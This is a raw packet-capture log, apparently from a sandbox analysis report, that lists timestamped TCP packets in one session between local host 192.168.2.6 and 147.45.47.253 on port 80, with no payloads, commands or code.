Aug 27, 2024 20:12:04.976056099 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.976073027 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.976078987 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.976084948 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.976093054 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.976108074 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.976109982 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.976114988 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.976130962 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.976135969 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.976142883 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.976146936 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.976150990 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.976157904 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.976169109 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.976170063 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.976191044 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.976216078 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.977058887 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.977065086 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.977080107 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.977097034 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.977102041 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.977113962 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.977119923 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.977125883 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.977125883 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.977133036 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.977138996 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.977147102 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.977149963 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.977154970 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.977160931 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.977166891 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.977174997 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.977175951 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.977200031 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.977211952 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.977216959 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.977217913 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.977231026 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.977236986 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.977243900 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.977251053 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.977269888 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.977297068 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.977317095 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.977324009 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.977334976 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.977339983 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.977344990 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.977353096 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.977359056 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.977365017 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.977375984 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.977376938 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.977402925 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.977430105 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.977876902 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.977884054 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.977895975 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.977901936 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.977941990 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.978122950 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.978130102 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.978178978 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.978270054 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.978276968 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.978287935 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.978292942 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.978298903 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.978310108 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.978332996 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.978331089 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.978343964 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.978348970 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.978354931 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.978367090 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.978372097 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.978378057 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.978379965 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.978384972 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.978395939 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.978401899 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.978408098 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.978413105 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.978414059 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.978427887 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.978446007 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.978462934 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.978475094 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.979024887 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.979031086 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.979043007 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.979048014 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.979053974 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.979059935 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.979075909 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.979091883 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.979126930 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.061553955 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.061566114 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.061578035 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.061609030 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.061614990 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.061628103 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.061635971 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.061706066 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.061738014 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.061758041 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.061790943 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.061834097 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.061841011 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.061852932 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.061860085 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.061871052 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.061887026 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.061924934 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.062087059 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.062093973 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.062109947 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.062123060 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.062129974 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.062144995 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.062145948 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.062153101 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.062165976 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.062172890 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.062176943 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.062179089 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.062200069 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.062216997 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.062247038 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.062608004 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.062614918 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.062625885 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.062632084 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.062644958 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.062652111 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.062664986 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.062669992 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.062673092 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.062675953 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.062681913 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.062689066 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.062693119 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.062699080 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.062702894 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.062725067 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.062742949 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.063050032 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.063055992 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.063070059 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.063076973 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.063092947 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.063098907 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.063112974 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.063139915 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.063191891 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.063199043 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.063205004 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.063216925 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.063222885 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.063229084 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.063234091 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.063236952 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.063241005 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.063246965 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.063254118 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.063277960 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.063313007 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.063874960 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.063894033 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.063905954 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.063911915 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.063918114 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.063924074 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.063930988 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.063942909 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.063949108 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.063954115 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.063961029 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.063965082 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.063966990 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.063978910 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.063993931 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.064014912 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.064028978 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.064280033 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.064338923 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.104917049 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.109843969 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.291397095 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.291420937 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.291524887 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.291634083 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.291640997 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.291654110 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.291687965 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.291696072 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.291714907 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.291764975 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.291795969 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.291801929 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.291814089 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.291858912 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.291873932 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.291879892 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.291918993 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.291933060 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.292021990 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.292026043 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.292030096 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.292041063 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.292045116 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.292068005 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.292093992 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.292100906 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.292107105 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.292145967 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.292176962 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.292182922 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.292227983 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.292248964 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.292256117 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.292268038 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.292272091 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.292277098 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.292295933 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.292313099 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.292344093 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.292380095 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.292385101 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.292397022 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.292429924 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.292479038 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.292525053 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.292531967 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.292538881 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.292572021 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.292624950 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.292632103 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.292651892 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.292684078 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.292690992 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.292695999 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.292701960 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.292710066 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.292736053 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.292762041 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.292763948 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.292885065 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.292893887 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.292900085 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.292917013 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.292922974 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.292934895 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.292941093 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.292941093 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.292948008 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.292974949 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.293004036 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.293126106 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.293199062 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.293234110 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.293241024 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.293251991 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.293257952 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.293262959 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.293270111 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.293282032 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.293282032 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.293287992 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.293317080 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.293447971 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.293461084 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.293472052 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.293478012 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.293507099 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.293562889 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.293570042 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.293584108 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.293615103 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.293749094 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.293756008 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.293766975 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.293772936 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.293783903 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.293790102 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.293796062 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.293802977 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.293814898 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.293838024 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.293859005 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.293948889 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.294012070 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.294043064 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.294049978 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.294055939 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.294061899 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.294074059 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.294080019 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.294085979 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.294094086 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.294109106 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.294116020 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.294127941 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.294131041 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.294156075 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.294327974 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.294334888 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.294347048 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.294382095 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.294447899 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.294455051 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.294466019 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.294471025 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.294476986 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.294483900 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.294495106 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.294502020 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.294513941 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.294548988 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.294692993 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.294699907 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.294711113 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.294717073 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.294753075 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.294770956 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.294840097 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.294847012 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.294857979 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.294863939 CEST	80	49710	147.45.47.253	192.168.2.6
